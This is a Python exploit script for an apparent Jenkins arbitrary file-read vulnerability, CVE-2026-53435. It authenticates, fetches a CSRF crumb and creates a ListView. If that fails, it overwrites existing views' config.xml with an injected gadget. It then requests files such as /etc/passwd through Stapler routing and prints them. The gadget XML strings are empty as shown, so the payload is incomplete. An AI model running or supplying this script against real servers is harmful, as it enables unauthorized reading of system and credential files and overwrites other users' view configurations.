#!/usr/bin/env python3 """ CVE-2026-53435 file-read exploit (v2) -- multi-vector + diagnostics. For AUTHORIZED engagements only. The gadget is planted into a DescribableList that does NOT enforce element type pre-patch, then reached via Stapler routing -> hudson.Plugin.doDynamic serves the file from baseResourceURL=file:/. Vectors tried (need one of): - View/Configure : create a new ListView (or overwrite an existing one) and use its (DescribableList). - Item/Configure : overwrite an existing Job's config.xml is NOT used here because job DescribableLists cast to BuildStep; the View vector is the reliable one. If the account only has Item perms, see notes. Usage: python3 exploit_cve_2026_53435_v2.py [view_name] python3 exploit_cve_2026_53435_v2.py https://jenkins.internal:8080 test test /etc/passwd """ import sys, requests from requests.auth import HTTPBasicAuth requests.packages.urllib3.disable_warnings() GADGET = ('' 'file:/' '') def view_xml(name): return (f"" f"{name}" f"{GADGET}" f'' f"false") def main(): if len(sys.argv) < 5: print(__doc__); sys.exit(1) base, user, pw, remote = sys.argv[1:5] name = sys.argv[5] if len(sys.argv) > 5 else "cve53435" base = base.rstrip('/') s = requests.Session(); s.auth = HTTPBasicAuth(user, pw); s.verify = False # crumb (CSRF) — required on most instances H = {"Content-Type": "application/xml"} try: c = s.get(base + "/crumbIssuer/api/json", timeout=15).json() H[c["crumbRequestField"]] = c["crumb"] except Exception: print("[!] no crumb issuer (or auth failed) — continuing without crumb") # diagnostics who = s.get(base + "/whoAmI/api/json", timeout=15) print(f"[*] authenticated as: {who.json().get('name') if who.ok else '??'} (HTTP {who.status_code})") # vector A: create a fresh ListView r = s.post(base + f"/createView?name={name}", data=view_xml(name).encode(), headers=H, timeout=20) print(f"[*] createView '{name}' -> HTTP {r.status_code}") if r.status_code not in (200, 302): # vector B: overwrite an existing view we can configure print("[*] createView failed; enumerating existing views to overwrite via config.xml ...") try: views = [v["name"] for v in s.get(base + "/api/json?tree=views[name]", timeout=15).json().get("views", [])] except Exception: views = [] for vn in views: rr = s.post(base + f"/view/{vn}/config.xml", data=view_xml(vn).encode(), headers=H, timeout=20) print(f" overwrite view '{vn}' config.xml -> HTTP {rr.status_code}") if rr.status_code in (200, 302): name = vn break else: print("[!] no writable view found. Need View/Configure (or another config.xml POST perm). Aborting.") sys.exit(2) # trigger: route to the planted gadget; restOfPath is the file under file:/ path = remote.lstrip('/') r = s.get(base + f"/view/{name}/properties/0/{path}", timeout=20) print(f"[*] GET /view/{name}/properties/0/{path} -> HTTP {r.status_code}") print("=" * 60) print(r.text) if __name__ == "__main__": main()